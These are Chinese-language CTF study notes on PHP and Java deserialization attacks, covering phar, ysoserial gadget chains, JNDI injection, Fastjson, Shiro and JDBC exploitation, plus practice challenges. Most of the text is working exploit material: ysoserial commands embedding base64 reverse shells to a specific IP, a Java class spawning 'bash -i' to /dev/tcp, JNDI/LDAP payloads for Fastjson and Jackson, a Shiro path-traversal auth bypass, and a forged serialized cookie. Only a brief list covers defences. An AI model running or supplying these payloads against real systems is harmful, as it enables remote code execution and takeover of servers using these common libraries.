PHP
PHP反序列化
入门资料
序列化、反序列化的概念
https://www.php.net/manual/zh/language.oop5.serialization.php
__destruct
__wakeup
__toString
__invoke -> 把对象当作方法的时候执行
__get -> 访问对象不存在的字段的时候
__call -> 访问对象不存在的方法的时候
(1)construct():当对象创建时会自动调用(但在unserialize()时是不会自动调用的)。
(2)wakeup() :unserialize()时会自动调用
(3)destruct():当对象被销毁时会自动调用。
(4)toString():当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用
(5)get() :当从不可访问的属性读取数据
(6)call(): 在对象上下文中调用不可访问的方法时触发
https://xz.aliyun.com/t/2958
https://www.k0rz3n.com/2018/11/19/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
反序列化gadget挖掘
DDCTF2020-web4、WDB2020-phpweb
phar反序列化+compress.zlib绕过例题
phar反序列化:
https://paper.seebug.org/680/
dfjk2020-babyphp:
www.zip3.6KB
compress.zlib://phar:
Phar://
compress.zlib://phar:///var/www/html/upload/16e45eeda7cc58d39621ec8886c53293.gif
补充:过滤了__halt_compiler等phar字符怎么办
反序列化中protected/private/public区别
WDB2020-AreUSerialz
Laravel POPChain构造
phpggc laravel 1-7
Java
基础知识
javaweb ssm/ssh
ssm : spring springmvc mybatis
springboot
SSM审计
https://p0rz9.github.io/2019/05/11/SSM%E6%A1%86%E6%9E%B6%E5%AE%A1%E8%AE%A1%E6%80%9D%E8%B7%AF/
https://paper.seebug.org/1075/
SQL注入
ORM:mybatis、jpa
mybatis注入:${}和#{}的区别
XXE
http://www.lmxspace.com/2019/10/31/Java-XXE-%E6%80%BB%E7%BB%93/
Java反序列化
漏洞原理
反序列化时,通过调用被重写readObject方法的类,实现对恶意方法的调用。

Gadget
CommonsCollections系列
版本对应关系:
CommonsCollections3.2.1 -- 135...
CommonsCollections4 -- 24...
BadAttributeValueExpException.readObject
-> TiedMapEntry.toString
-> TiedMapEntry.getValue
-> LazyMap.get
-> ChainedTransformer.transform
操作:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 "bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEzOS4xOTkuMjAzLjI1My8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}"| base64
JRMPClient&JRMPListener
操作:
JRMPListener
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 7475 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMzkuMTk5LjIwMy4yNTMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}"
JRMPClient:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient 139.199.203.253:7475 | base64
nv -lv -p 7475
作用:绕过resolveClass中的黑名单过滤、Fuzz gadget
JRMP经典题目:
QWB2020-java
QWB2020-java-EXP:
raw_post_bytes.py0.5KB
Fuzz Gadget
- 使用burp的Deserialization Scanner

- 使用Evil JRMPListener
例题:
WDB2020-think_java
操作:
Step1. SqlDict接口注入拿到用户名密码,登陆获得bearer验证信息。
Step2. 发现bearer为base64过的信息,并且以rO0t开头,猜想为java序列化对象,使用上图方式fuzz gadget,发现可用gadget为rome
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar ROME "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMzkuMTk5LjIwMy4yNTMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}" | base64
nc -lv -p 1234
防御措施
- resolveClass, 通过继承ObjectInputStream,重写resolveClass方法,实现在反序列化的过程中对反序列化的类进行过滤,从而禁止危险类反序列化。
- SecurityManager来进行底层防御,防止RCE
- RASP
- 推荐阅读:https://xz.aliyun.com/t/7005
- 推荐阅读:https://xz.aliyun.com/t/8148
Java组件漏洞及利用姿势
JNDI注入
8u121-: 直接rmi结合codebase加载远程class
8u121-8u191:ldap+codebase加载远程class
8u191+:(1). 使用本地factory+elprocessor (2). 使用evil ldap + 本地gadget
操作
1. LDAP Server
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://vps:1234/#Exploit
2. HTTP Server
python3 -m http.server 1234
放Exploit.class
3. 触发
String url = "ldap://127.0.0.1:1389/Exploit";
Context namingContext = new InitialContext();
namingContext.lookup(url);
高版本JNDI注入
利用方式1:elprocessor,原理是通过本地工厂类loadClass加载elprocessor,然后通过BeanFactory的forceString属性强制设置setX为eval,从而rce
public class Server_191_elprocessor
{
public static void main( String[] args ) throws RemoteException, NamingException, AlreadyBoundException {
System.out.println("Creating RMI Registry, RMI Port: 1099");
Registry registry = LocateRegistry.createRegistry(1099);
// 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
// 强制将 'x' 属性的setter 从 'setX' 变为 'eval', 详细逻辑见 BeanFactory.getObjectInstance 代码
ref.add(new StringRefAddr("forceString", "KINGX=eval"));
// 利用表达式执行命令
ref.add(new StringRefAddr("KINGX", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','open -a calculator']).start()\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Exploit", referenceWrapper);
}
}
利用方式2:ldap反序列化,原理是通过在ldap server中,使javaSerializedData返回序列化的gadget实现反序列化rce
...
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
try {
// java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 "open -a calculator"| base64
String exp = "rO0ABXN...";
e.addAttribute("javaSerializedData",Base64.decode(exp));
} catch (ParseException e1) {
e1.printStackTrace();
}
...
FastJson漏洞利用
Fastjson漏洞版本
1.2.48-:无需开启autotype即可反序列化rce
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://localhost:1389/Exploit",
"autoCommit":true
}
}
1.2.48+:需要开启autotype,并且反序列化的类不在黑名单中
Fastjson漏洞利用操作
Step1. 启动LDAPServer
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://vps:8088/#ExpFJ 1389
Step2. 启动对应vps:8088的http server,并将Step3编译好的class放在web目录下
python3 -m http.server 8088
Step3. 编译如下代码
// javac ExpFJ.java
import java.io.IOException;
public class ExpFJ {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands={"/bin/bash","-c","bash -i >& /dev/tcp/vps/4321 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
public static void main(String[] argv){
ExpFJ e = new ExpFJ();
}
}
Step4. 在4321端口监听,并发送漏洞Payload
payload={"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://vps:1389/#Exploit","autoCommit":true}}
Shiro漏洞利用
漏洞1. 反序列化RCE
漏洞版本:
- 1.2.4-(shiro550),默认key,直接反序列化rce,算法为cbc
b. 1.4.2-(shiro721),需要padding oracle构造jrmp payload,算法改为gcm,如通过任意读拿到key也可rce
操作:
Step1. 启动JRMPListener
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1235 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMzkuMTk5LjIwMy4yNTMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}"
Step2. 运行exp,注意ip,同时监听1234端口
exp.py1.7KB
注意:因为shiro自身类加载器对byte数组处理报错的原因的原因(?),并不能直接用commonscollections3系列payload攻击,所以使用JRMP绕过。
而我们的题目为springboot,因此不存在cc5反序列化报错的问题(?),而有一些部署环境为tomcat,这时候需要注意cc5不能用,需要使用JRMP。
http://www.rai4over.cn/2020/Shiro-1-2-4-RememberMe%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90-CVE-2016-4437/#%E8%B7%B3%E5%9D%91
https://github.com/admintony/shiro_rememberMe_Rce/blob/master/gadget/CommonsCollectionsK1.class
漏洞2. 越权
漏洞版本:
1.5.2-,可以使用..;/绕过使用/*兜底的过滤
Shiro权限绕过史.pdf5.3MB
越权例题参考Day4下 shiro
JDBC反序列化
原理
ResultSetImpl的getObject方法中,当MySQL字段类型为BLOB时,会对数据进行反序列化,所以此处只要保证第1或第2字段为BLOB且存存储了我们的序列化数据,即可触发反序列化漏洞。 https://www.anquanke.com/post/id/203086
利用场景
jdbc连接串用户可控:
jackson MiniAdmin -> jdbc -> 任意文件读
-> jdbc -> 反序列化rce
fastjson同理
fj < 1.2.68 -> autoclosable
fj < 1.2.68 + mysql-connector-java.jar <5.x / =8.0.19
利用
https://github.com/fnmsd/MySQL_Fake_Server
连接串的user写config.json中的key,客户端发出连接请求,就能触发反序列化。
Java题目练习
第一题. shiro+jackson
链接:https://pan.baidu.com/s/1Z5imKq1fUmHPds6MrttQmg 密码:c67l
考点:
- shiro越权
- jackson反序列化
- 高版本JNDI注入
解题:
Step1. shiro越权
http://139.199.203.253:2222/login/..;/json
Step2. jackson反序列化
查看pom,发现使用了logback-core,因此可以使用该gadget进行反序列化
["ch.qos.logback.core.db.JNDIConnectionSource", {"jndiLocation": "ldap://139.199.203.253:1389/#Exploit"}]
Step3. 高版本jndi注入
题目为jdk8u191,因此无法使用ldap reference+codebase的方式加载远程类。
这里采用evil ldap server实现cc5反序列化
def exp():
json=["ch.qos.logback.core.db.JNDIConnectionSource", {"jndiLocation": "ldap://vps:1389/#Exploit"}]
res = requests.post(url, json=json).text
第二题. springboot+反序列化
链接:https://pan.baidu.com/s/1E48L9yfxmf61l69AlAwrLA 密码:ge7u
考点:
- springboot项目审计
- 反序列化exp构造
exp:
public static void main(String[] args) throws Exception {
ClientInfo cinfo = new ClientInfo("admin", "webmanager", "1");
String b64payload = Base64.getEncoder().encodeToString(Tools.create(cinfo));
System.out.println(b64payload);
}
GET /ctf/showpic?file=/flag HTTP/1.1
Host: 127.0.0.1:8080
Cookie: cinfo=rO0ABXNyABhjb20uY3RmLnRvb2xzLkNsaWVudEluZm8AAAAAAAAAAQIAA0wABWdyb3VwdAASTGphdmEvbGFuZy9TdHJpbmc7TAACaWRxAH4AAUwABG5hbWVxAH4AAXhwdAAKd2VibWFuYWdlcnQAATF0AAVhZG1pbg==;
Connection: close
第三题. RuoYi CMS
这里是springboot,用CC5也能打